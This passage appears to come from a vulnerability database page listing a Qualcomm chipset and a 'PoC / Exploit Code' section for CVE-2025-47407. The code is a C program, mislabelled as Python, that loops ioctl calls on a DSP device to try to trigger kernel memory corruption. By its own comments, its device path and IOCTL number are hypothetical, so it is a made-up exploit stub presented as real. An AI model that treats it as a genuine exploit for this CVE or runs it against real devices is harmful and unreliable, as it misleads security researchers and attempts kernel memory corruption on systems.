cpe:2.3:h:qualcomm:fastconnect_6900:-:*:*:*:*:*:*:* - NOT VULNERABLE
Qualcomm Chipsets covered in May 2026 Security Bulletin
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/*
* Proof of Concept for CVE-2025-47407
* This code attempts to trigger memory corruption in Qualcomm DSP
* by forcing allocation failures during process creation.
* Note: This is a conceptual demonstration for educational purposes.
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
// Hypothetical device and IOCTL definitions for DSP interaction
#define DSP_DEVICE "/dev/msm_qdsp6_audio"
#define IOCTL_DSP_CREATE_PROC 0x8001
int main() {
int fd;
printf("[*] Starting PoC for CVE-2025-47407\n");
// Open the DSP device interface
fd = open(DSP_DEVICE, O_RDWR);
if (fd < 0) {
perror("[-] Failed to open device");
return -1;
}
printf("[+] Device opened successfully (FD: %d)\n", fd);
printf("[*] Attempting to trigger DSP process creation failure...\n");
// Loop to stress memory and trigger allocation failure
for (int i = 0; i < 5000; i++) {
// Invoke the IOCTL that triggers the vulnerable code path
// Passing NULL or specific args may induce the allocation failure logic
int ret = ioctl(fd, IOCTL_DSP_CREATE_PROC, NULL);
if (ret != 0) {
// Error handling path where the vulnerability might reside
// If allocation fails here, kernel memory corruption could occur
}
}
printf("[*] Exploit trigger sequence completed.\n");
close(fd);
return 0;
}